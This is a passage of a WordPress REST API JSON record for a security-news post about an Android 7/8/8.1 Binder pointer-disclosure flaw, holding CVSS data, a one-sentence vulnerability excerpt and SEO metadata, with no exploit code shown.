===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212601&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212601\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:36&#8243;,&#8221;description&#8221;:&#8221;A flaw in Android&#8217;s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. When unmarshalling, the kernel inserted genuine kernel&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-29737","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29737\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:36&#8243;,&#8221;description&#8221;:&#8221;A flaw in Android&#8217;s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. When unmarshalling, the kernel inserted genuine kernel...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29737\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-09T12:37:37+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Android 7 \\\/ 8 \\\/ 8.1 Pointer Disclosure_PACKETSTORM:212601\",\"datePublished\":\"2025-12-09T12:37:37+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737\"},\"wordCount\":1990,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29737#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737\",\"name\":\"\ud83d\udcc4 Android 7 \\\/ 8 \\\/ 8.1 Pointer Disclosure_PACKETSTORM:212601 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-09T12:37:37+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29737\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29737#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Android 7 \\\/ 8 \\\/ 8.1 Pointer Disclosure_PACKETSTORM:212601\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29737","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:36&#8243;,&#8221;description&#8221;:&#8221;A flaw in Android&#8217;s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. When unmarshalling, the kernel inserted genuine kernel...","og_url":"https:\/\/zero.redgem.net\/?p=29737","og_site_name":"zero redgem","article_published_time":"2025-12-09T12:37:37+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29737#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29737"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601","datePublished":"2025-12-09T12:37:37+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29737"},"wordCount":1990,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29737#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29737","url":"https:\/\/zero.redgem.net\/?p=29737","name":"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-09T12:37:37+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29737#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29737"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29737#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29737","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29737"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29737\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29737"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29737"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29737"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}